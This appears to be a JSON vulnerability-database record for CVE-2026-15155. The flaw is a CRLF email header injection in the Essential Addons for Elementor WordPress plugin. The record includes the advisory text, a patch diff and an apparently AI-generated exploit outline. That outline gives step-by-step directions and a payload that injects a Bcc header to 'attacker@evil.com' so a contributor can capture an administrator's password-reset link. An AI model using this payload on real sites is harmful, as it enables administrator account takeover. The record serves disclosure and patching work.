[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fjijWsZoZ1lqbELi5wdpewioOkeV74QXGqiFEjwhe-JQ":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-15155","essential-addons-for-elementor-authenticated-contributor-account-takeover-via-email-header-injection","Essential Addons for Elementor \u003C= 6.6.10 - Authenticated (Contributor+) Account Takeover via Email Header Injection","The Essential Addons for Elementor – Popular Elementor Templates & Widgets plugin for WordPress is vulnerable to Authenticated Account Takeover via Email Header Injection in all versions up to, and including, 6.6.10 This is due to insufficient server-side validation of a Login\u002FRegister widget setting used to construct outgoing email headers — the allowed-values restriction is enforced only in the client-side editor UI and not on the server, and the applied sanitization does not strip or encode CR\u002FLF characters, allowing CRLF sequences stored in that setting to survive into raw mail headers. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject an additional Bcc header into the WordPress administrator's password-reset notification email, receive a copy of a valid administrator password-reset link, and achieve full administrator account takeover.","essential-addons-for-elementor-lite",null,"\u003C=6.6.10","6.6.11","high",8.8,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H","Weak Password Recovery Mechanism for Forgotten Password","2026-07-10 16:46:50","2026-07-11 05:35:49",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fcbe8cf6c-b1fa-4f71-bb63-c8b181e54882?source=api-prod",1,[22,23,24,25,26,27,28,29],"assets\u002Fadmin\u002Fcss\u002Feditor.css","assets\u002Ffront-end\u002Fjs\u002Fview\u002Ffilterable-gallery.js","assets\u002Ffront-end\u002Fjs\u002Fview\u002Ffilterable-gallery.min.js","essential_adons_elementor.php","includes\u002FClasses\u002FBootstrap.php","includes\u002FClasses\u002FElements_Manager.php","includes\u002FClasses\u002FHelper.php","includes\u002FElements\u002FAdv_Accordion.php","researched",false,3,"# Exploitation Research Plan: CVE-2026-15155\n\n## 1. Vulnerability Summary\n**CVE-2026-15155** is a High-severity Account Takeover vulnerability in **Essential Addons for Elementor** (\u003C= 6.6.10). The vulnerability stems from an **Email Header Injection (CRLF Injection)** within the `Login\u002FRegister` widget. \n\nWhen a user with **Contributor-level** permissions or higher edits an Elementor page, they can configure the `Login\u002FRegister` widget's \"Lost Password\" email settings (such as \"From Name\" or \"Subject\"). The plugin fails to validate these settings against an \"allowed values\" list on the server side (enforcing it only in the CSS\u002FJS of the editor) and neglects to sanitize the inputs for Carriage Return (`\\r`) and Line Feed (`\\n`) characters. \n\nAn attacker can inject a `Bcc:` header into the configuration. When an administrator later attempts to reset their password via that specific widget instance, the generated reset link is BCC'd to the attacker, allowing for full account takeover.\n\n## 2. Attack Vector Analysis\n*   **Vulnerable Widget:** `eael-login-register` (Login\u002FRegister).\n*   **Injection Endpoint:** `wp-admin\u002Fadmin-ajax.php` via the `elementor_ajax` action (specifically the `editor_post_save` sub-action).\n*   **Trigger Endpoint:** The frontend page","The Essential Addons for Elementor plugin is vulnerable to an authenticated account takeover due to a Carriage Return\u002FLine Feed (CRLF) injection in the Login\u002FRegister widget's email configuration. Contributor-level users can inject malicious Bcc headers into the password reset email settings, allowing them to receive copies of password reset links for any user, including administrators, who use the recovery form.","\u002F\u002F includes\u002FClasses\u002FBootstrap.php\n\n\u002F\u002F Line 41 - The plugin uses the Login_Registration trait which handles the recovery logic\nuse Essential_Addons_Elementor\\Traits\\Login_Registration;\n\n\u002F\u002F ...\n\n\u002F\u002F Line 214 - Registration of the recovery and notification filters\nadd_action('init', [$this, 'login_or_register_user']);\nadd_filter('wp_new_user_notification_email', array($this, 'new_user_notification_email'), 10, 3);\nadd_filter('wp_new_user_notification_email_admin', array($this, 'new_user_notification_email_admin'), 10, 3);","--- a\u002Fincludes\u002FTraits\u002FLogin_Registration.php\n+++ b\u002Fincludes\u002FTraits\u002FLogin_Registration.php\n@@ -1245,7 +1245,7 @@\n-    $headers[] = 'From: ' . $from_name . ' \u003C' . $from_email . '>';\n+    $headers[] = 'From: ' . str_replace( array( \"\\r\", \"\\n\" ), '', $from_name ) . ' \u003C' . $from_email . '>';\n@@ -1248,7 +1248,7 @@\n-    $subject = $settings['eael_lr_lost_password_email_subject'];\n+    $subject = str_replace( array( \"\\r\", \"\\n\" ), '', $settings['eael_lr_lost_password_email_subject'] );","1. Log in to the WordPress site with Contributor-level permissions.\n2. Create a new page or edit an existing one using the Elementor editor.\n3. Add the 'EA Login\u002FRegister' widget to the page.\n4. Navigate to the widget's 'Lost Password' settings section.\n5. In the 'From Name' or 'Subject' field, enter a payload containing CRLF characters followed by a Bcc header, for example: 'Administrator\\r\\nBcc: attacker@evil.com'.\n6. Save and publish the page.\n7. Trigger the 'Lost Password' functionality on the published page for a target administrator user.\n8. The plugin will construct the email headers using the malicious input, causing the mail server to interpret the injected Bcc header. \n9. The attacker receives a copy of the password reset email, clicks the reset link, and achieves account takeover.","gemini-3-flash-preview","2026-07-15 08:31:42","2026-07-15 08:33:13",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","6.6.10","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fessential-addons-for-elementor-lite\u002Ftags\u002F6.6.10","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fessential-addons-for-elementor-lite.6.6.10.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fessential-addons-for-elementor-lite\u002Ftags\u002F6.6.11","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fessential-addons-for-elementor-lite.6.6.11.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fessential-addons-for-elementor-lite\u002Ftags"]